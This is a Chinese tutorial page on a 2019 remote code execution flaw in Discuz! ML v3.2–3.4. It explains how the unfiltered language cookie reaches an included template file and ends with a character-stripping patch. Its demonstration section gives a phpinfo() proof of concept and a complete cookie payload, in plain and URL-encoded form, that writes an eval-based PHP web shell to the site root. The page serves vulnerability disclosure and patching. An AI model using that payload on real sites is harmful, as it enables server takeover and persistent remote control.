您现在的位置是:首页 > cms教程 > Discuz教程Discuz教程

Discuz ML! V3.X 代码注入漏洞的修复方法

钟召云2025-07-06Discuz教程已有人查阅

导读Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台,用于构建像“社交网络”这样的互联网社区,该引擎基于Comsenz Inc.创建的着名的Discuz!

Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台,用于构建像“社交网络”这样的互联网社区,该引擎基于Comsenz Inc.创建的着名的Discuz!X引擎开发。
0x01 漏洞描述1.1 简单描述
2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利用方式简单,危害性较大。
本次漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的
cookie字段中的language参数未经过滤,直接被拼接写入缓存文件之中,而缓存文件随后又被加载,从而造成代码执行
简而言之,如下图流程可以简单的理解该漏洞
首先,通过cookie传入payload,构造好的payload被写入template文件中:
接着,这个 入payload的template.php文件被include,造成代码执行:
1.2 受影响的系统版本
Discuz! ML v.3.4
Discuz! ML v.3.3
Discuz! ML v.3.20x02 漏洞分析
详情请见:代码注入漏洞深度分析/0x03 漏洞演示3.1 环境搭建
解压后将upload所有内容放到网站目录,访问一步步安装即可。
3.2 漏洞定位
在上面的漏洞分析中,可将漏洞信息总结如下:外部参数$lng(即language语言)可控,导致template 函数生成的临时模板文件名可操纵,插入自己的代码,最终include_once包含一下最终导致了代码注入。所以有包含template 函数的网页中,都存在此类的代码注入点。
3.3 漏洞测试演示
注:在此我将用论坛的主页面(index.php),作为漏洞的演示:
首先看首页里的cookis值中就包含我们想要的language参数:
动手构造我们的POC(测试代码):在26D7_2132_language=sc后面添加以下内容:
'.phpinfo().'
成功返回phpinfo()响应,证明此系统存在代码注入漏洞!3.4 漏洞执行演示
EXP(原):
'.file_put_contents('shell.php',urldecode('<?php eval($_POST["mo"]);?>')).'
(因为改动的COOKIE中包含分号,其中有可能会出现语法错误,所以这里采用URL编码格式,之后再解过来就没问题了)EXP(改):
%27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522mo%2522%255d%29%253b%253f%253e%27%29%29.%27
(2)修改cookie中的xxx_language值为exp内容:这里加上exp后,主页返回正常
(3)在主页中进行代码注入,则上传的shell.php在网站根目录下:
(4)看看效果:满分
漏洞修复
VulkeyChen师傅的建议:单看语言这个点,在/source/class/discuz/discuz_application.php 第338行之后341行之前加入该代码暂缓此安全问题:
$lng = str_replace("(","",$lng);
$lng = str_replace(")","",$lng);
$lng = str_replace("'","",$lng);
$lng = str_replace('"',"",$lng);
$lng = str_replace('`',"",$lng);

本文标签:

很赞哦! ()

相关源码

  • (PC+WAP)绿色产品环保设备垃圾桶厂家公司网站pbootcms模板为垃圾桶生产商、环保设备企业打造的高端响应式门户模板,基于PbootCMS开源内核深度开发。采用HTML5自适应架构,无缝实现PC与手机端数据实时同步与交互优化查看源码
  • (自适应)建站广告公司工作室作品展示品牌策划设计pbootcms源码下载基于PbootCMS开发的创意服务展示系统,内置作品集展示、服务流程图等专业模块,预设客户案例、设计流程等创意行业专属栏目结构。查看源码
  • (自适应)WordPress主题SEO自媒体博客资讯模板RabbitV2.0Rabbit v2.0主题专注于网站搜索引擎优化需求,为博客、自媒体及资讯类网站提供专业的SEO技术解决方案。该主题从架构设计到功能实现均围绕搜索引擎优化理念展开。查看源码
  • (自适应)调节阀门气动球阀控制阀网站模板源码下载为调节阀门、气动球阀等工业设备企业打造的响应式网站模板,基于PbootCMS系统开发。突出产品参数展示与技术文档管理功能,通过专业化的布局设计有效呈现工业设备特性,适配各类终端访问需求。查看源码
  • (自适应响应式)蓝色外贸英文产品介绍展示网站模板本模板采用手工编写的DIV+CSS架构,代码精简高效。适配手机端浏览,数据实时同步更新。内置SEO优化框架,支持独立设置各页面标题、关键词及描述。开源代码结构清晰,便于二次开发。查看源码
  • (PC+WAP)蓝色玻璃纤维制品环保设备营销型pbootcms模板源码下载这是一款针对玻璃纤维行业特点设计的网站模板,采用蓝色系配色方案,体现工业感和环保理念。模板包含产品中心、应用案例、技术支持和新闻动态等核心模块,能够全面展示玻璃纤维制品的技术参数和应用场景。查看源码
分享笔记 (共有 篇笔记)
验证码:

本栏推荐